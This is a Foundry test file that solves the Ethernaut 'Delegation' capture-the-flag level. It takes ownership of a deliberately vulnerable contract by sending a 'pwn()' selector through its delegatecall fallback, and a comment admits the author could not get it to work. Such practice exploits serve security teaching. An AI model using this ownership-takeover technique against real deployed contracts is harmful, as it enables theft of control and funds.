DelegationExploit.t.sol

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;

import '../../src/EthernautCTF/Delegation.sol';
import '@forge-std/Test.sol';
import '@forge-std/console.sol';

contract DelegationExploit is Test {
  Delegation target;
  address deployer = makeAddr('deployer');
  address exploiter = makeAddr('exploiter');
  address delegate = makeAddr('delegate');

  function setUp() public {
    vm.startPrank(deployer);
    target = new Delegation(delegate);
    console.log('Target contract deployed');
    vm.stopPrank();
  }

  function testExploit() public {
    address owner = target.owner();
    console.log('Current owner: %s', owner);
    assertEq(owner, deployer);

    vm.startPrank(exploiter);
    // Call the `fallback` method using Delegate's `pwn` selector.
    // TODO: Understand why the exploit does not work?!
    // https://github.com/foundry-rs/foundry/issues/824
    (bool success, ) = address(target).call(abi.encodeWithSignature('pwn()'));
    require(success, 'Call failed');
    vm.stopPrank();

    owner = target.owner();
    console.log('New owner: %s', owner);
    assertEq(owner, exploiter);
  }
}